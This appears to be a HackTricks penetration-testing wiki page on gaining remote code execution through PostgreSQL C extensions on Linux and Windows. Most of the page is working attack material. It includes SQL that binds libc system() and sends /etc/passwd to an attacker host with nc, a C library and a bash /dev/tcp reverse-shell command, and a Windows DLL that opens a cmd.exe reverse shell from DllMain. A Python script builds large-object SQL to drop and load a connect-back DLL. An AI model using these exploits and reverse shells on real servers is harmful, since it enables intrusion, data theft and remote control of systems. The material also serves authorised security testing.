rce-with-postgresql-extensions.md (15308B)
1 --- 2 title: "RCE with PostgreSQL Extensions" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # RCE with PostgreSQL Extensions 14 15 ## PostgreSQL Extensions 16 17 PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types. 18 19 From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used. 20 21 Also, keep in mind that **if you don't know how to** [**upload files to the victim abusing PostgreSQL you should read this post.**](/hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql) 22 23 ### RCE in Linux 24 25 **For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**<sup>[[1]](#references)</sup> 26 27 The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).<sup>[[1]](#references)[[2]](#references)</sup> 28 29 ```sql 30 CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; 31 SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>'); 32 33 # You can also create functions to open and write files 34 CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT; 35 CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT; 36 CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT; 37 ``` 38 39 <details> 40 41 <summary>Write binary file from base64</summary> 42 43 To write a binary into a file in postgres you might need to use base64, this will be helpful for that matter: 44 45 ```sql 46 CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS 47 $$ 48 DECLARE 49 fh int; 50 s int; 51 w bytea; 52 i int; 53 BEGIN 54 SELECT open(textout(file)::cstring, 522, 448) INTO fh; 55 56 IF fh <= 2 THEN 57 RETURN 1; 58 END IF; 59 60 SELECT decode(s, 'base64') INTO w; 61 62 i := 0; 63 LOOP 64 EXIT WHEN i >= octet_length(w); 65 66 SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs; 67 68 IF rs < 0 THEN 69 RETURN 2; 70 END IF; 71 72 i := i + 1; 73 END LOOP; 74 75 SELECT close(fh) INTO rs; 76 77 RETURN 0; 78 79 END; 80 $$ LANGUAGE 'plpgsql'; 81 ``` 82 83 </details> 84 85 However, when attempted on greater versions **the following error was shown**: 86 87 ```c 88 ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block 89 HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. 90 ``` 91 92 This error is explained in the [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):<sup>[[3]](#references)</sup> 93 94 > To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h: 95 > 96 > `#ifdef PG_MODULE_MAGIC`\ 97 > `PG_MODULE_MAGIC;`\ 98 > `#endif` 99 100 Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.<sup>[[1]](#references)[[2]](#references)</sup> 101 102 #### Compile the library 103 104 Get the PsotgreSQL version with: 105 106 ```sql 107 SELECT version(); 108 PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit 109 ``` 110 111 For compatibility, it is essential that the major versions align. Therefore, compiling a library with any version within the 9.6.x series should ensure successful integration. 112 113 To install that version in your system: 114 115 ```bash 116 apt install postgresql postgresql-server-dev-9.6 117 ``` 118 119 And compile the library: 120 121 ```c 122 //gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c 123 #include <string.h> 124 #include "postgres.h" 125 #include "fmgr.h" 126 127 #ifdef PG_MODULE_MAGIC 128 PG_MODULE_MAGIC; 129 #endif 130 131 PG_FUNCTION_INFO_V1(pg_exec); 132 Datum pg_exec(PG_FUNCTION_ARGS) { 133 char* command = PG_GETARG_CSTRING(0); 134 PG_RETURN_INT32(system(command)); 135 } 136 ``` 137 138 Then upload the compiled library and execute commands with: 139 140 ```bash 141 CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT; 142 SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'); 143 # The doubled single quotes are needed to escape quotes 144 ``` 145 146 You can find this **library precompiled** to several different PostgreSQL versions and even can **automate this process** (if you have PostgreSQL access) with: 147 148 149 [Pgexec](https%3A//github.com/Dionach/pgexec) 150 151 ### RCE in Windows 152 153 The following DLL takes as input the **name of the binary** and the **number** of **times** you want to execute it and executes it: 154 155 ```c 156 #include "postgres.h" 157 #include <string.h> 158 #include "fmgr.h" 159 #include "utils/geo_decls.h" 160 #include <stdio.h> 161 #include "utils/builtins.h" 162 163 #ifdef PG_MODULE_MAGIC 164 PG_MODULE_MAGIC; 165 #endif 166 167 /* Add a prototype marked PGDLLEXPORT */ 168 PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS); 169 PG_FUNCTION_INFO_V1(pgsql_exec); 170 171 /* this function launches the executable passed in as the first parameter 172 in a FOR loop bound by the second parameter that is also passed*/ 173 Datum 174 pgsql_exec(PG_FUNCTION_ARGS) 175 { 176 /* convert text pointer to C string */ 177 #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp))) 178 179 /* retrieve the second argument that is passed to the function (an integer) 180 that will serve as our counter limit*/ 181 182 int instances = PG_GETARG_INT32(1); 183 184 for (int c = 0; c < instances; c++) { 185 /*launch the process passed in the first parameter*/ 186 ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1); 187 } 188 PG_RETURN_VOID(); 189 } 190 ``` 191 192 You can find the DLL compiled in this zip: 193 194 [Pgsql Exec.Zip](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/postgresql-injection/pgsql_exec.zip) 195 196 You can indicate to this DLL **which binary to execute** and the number of time to execute it, in this example it will execute `calc.exe` 2 times: 197 198 ```bash 199 CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT; 200 SELECT remote_exec('calc.exe', 2); 201 DROP FUNCTION remote_exec(text, integer); 202 ``` 203 204 In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:<sup>[[4]](#references)</sup> 205 206 ```c 207 #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10" 208 #define PG_REVSHELL_CALLHOME_PORT "4444" 209 210 #include "postgres.h" 211 #include <string.h> 212 #include "fmgr.h" 213 #include "utils/geo_decls.h" 214 #include <winsock2.h> 215 216 #pragma comment(lib,"ws2_32") 217 218 #ifdef PG_MODULE_MAGIC 219 PG_MODULE_MAGIC; 220 #endif 221 222 #pragma warning(push) 223 #pragma warning(disable: 4996) 224 #define _WINSOCK_DEPRECATED_NO_WARNINGS 225 226 BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL, 227 _In_ DWORD fdwReason, 228 _In_ LPVOID lpvReserved) 229 { 230 WSADATA wsaData; 231 SOCKET wsock; 232 struct sockaddr_in server; 233 char ip_addr[16]; 234 STARTUPINFOA startupinfo; 235 PROCESS_INFORMATION processinfo; 236 237 char *program = "cmd.exe"; 238 const char *ip = PG_REVSHELL_CALLHOME_SERVER; 239 u_short port = atoi(PG_REVSHELL_CALLHOME_PORT); 240 241 WSAStartup(MAKEWORD(2, 2), &wsaData); 242 wsock = WSASocket(AF_INET, SOCK_STREAM, 243 IPPROTO_TCP, NULL, 0, 0); 244 245 struct hostent *host; 246 host = gethostbyname(ip); 247 strcpy_s(ip_addr, sizeof(ip_addr), 248 inet_ntoa(*((struct in_addr *)host->h_addr))); 249 250 server.sin_family = AF_INET; 251 server.sin_port = htons(port); 252 server.sin_addr.s_addr = inet_addr(ip_addr); 253 254 WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server), 255 NULL, NULL, NULL, NULL); 256 257 memset(&startupinfo, 0, sizeof(startupinfo)); 258 startupinfo.cb = sizeof(startupinfo); 259 startupinfo.dwFlags = STARTF_USESTDHANDLES; 260 startupinfo.hStdInput = startupinfo.hStdOutput = 261 startupinfo.hStdError = (HANDLE)wsock; 262 263 CreateProcessA(NULL, program, NULL, NULL, TRUE, 0, 264 NULL, NULL, &startupinfo, &processinfo); 265 266 return TRUE; 267 } 268 269 #pragma warning(pop) /* re-enable 4996 */ 270 271 /* Add a prototype marked PGDLLEXPORT */ 272 PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS); 273 274 PG_FUNCTION_INFO_V1(add_one); 275 276 Datum dummy_function(PG_FUNCTION_ARGS) 277 { 278 int32 arg = PG_GETARG_INT32(0); 279 280 PG_RETURN_INT32(arg + 1); 281 } 282 ``` 283 284 Note how in this case the **malicious code is inside the DllMain function**. This means that in this case it isn't necessary to execute the loaded function in postgresql, just **loading the DLL** will **execute** the reverse shell: 285 286 ```c 287 CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT; 288 ``` 289 290 The [PolyUDF project](https://github.com/rop-la/PolyUDF) is also a good starting point with the full MS Visual Studio project and a ready to use library (including: _command eval_, _exec_ and _cleanup_) with multiversion support. 291 292 ### RCE in newer PostgreSQL versions 293 294 In the **latest versions** of PostgreSQL, restrictions have been imposed where the `superuser` is **prohibited** from **loading** shared library files except from specific directories, such as `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix systems. These directories are **secured** against write operations by either the NETWORK_SERVICE or postgres accounts. 295 296 Despite these restrictions, it's possible for an authenticated database `superuser` to **write binary files** to the filesystem using "large objects." This capability extends to writing within the `C:\Program Files\PostgreSQL\11\data` directory, which is essential for database operations like updating or creating tables. 297 298 A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.<sup>[[5]](#references)</sup> 299 300 #### Attack flow 301 302 First of all you need to **use large objects to upload the dll**. You can see how to do that here: 303 304 305 [Big Binary Files Upload Postgresql](/hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql) 306 307 Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with: 308 309 ```c 310 create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict; 311 select connect_back('192.168.100.54', 1234); 312 ``` 313 314 _Note that you don't need to append the `.dll` extension as the create function will add it._ 315 316 For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**<sup>[[5]](#references)</sup>\ 317 In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ 318 In the same page this **exploit to automate** this technique was given:<sup>[[5]](#references)</sup> 319 320 ```python 321 #!/usr/bin/env python3 322 import sys 323 324 if len(sys.argv) != 4: 325 print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0]) 326 print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0]) 327 sys.exit(1) 328 329 host = sys.argv[1] 330 port = int(sys.argv[2]) 331 lib = sys.argv[3] 332 with open(lib, "rb") as dll: 333 d = dll.read() 334 sql = "select lo_import('C:/Windows/win.ini', 1337);" 335 for i in range(0, len(d)//2048): 336 start = i * 2048 337 end = (i+1) * 2048 338 if i == 0: 339 sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex()) 340 else: 341 sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex()) 342 if (len(d) % 2048) != 0: 343 end = (i+1) * 2048 344 sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex()) 345 346 sql += "select lo_export(1337, 'poc.dll');" 347 sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;" 348 sql += "select connect_back('%s', %d);" % (host, port) 349 print("(+) building poc.sql file") 350 with open("poc.sql", "w") as sqlfile: 351 sqlfile.write(sql) 352 print("(+) run poc.sql in PostgreSQL using the superuser") 353 print("(+) for a db cleanup only, run the following sql:") 354 print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;") 355 print(" drop function connect_back(text, integer);") 356 ``` 357 358 ## References 359 360 - [1] [PostgreSQL 9.x Remote Command Execution](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) 361 - [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084) 362 - [3] [PostgreSQL documentation - C-Language Functions](https://www.postgresql.org/docs/current/static/xfunc-c.html) 363 - [4] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) 364 - [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)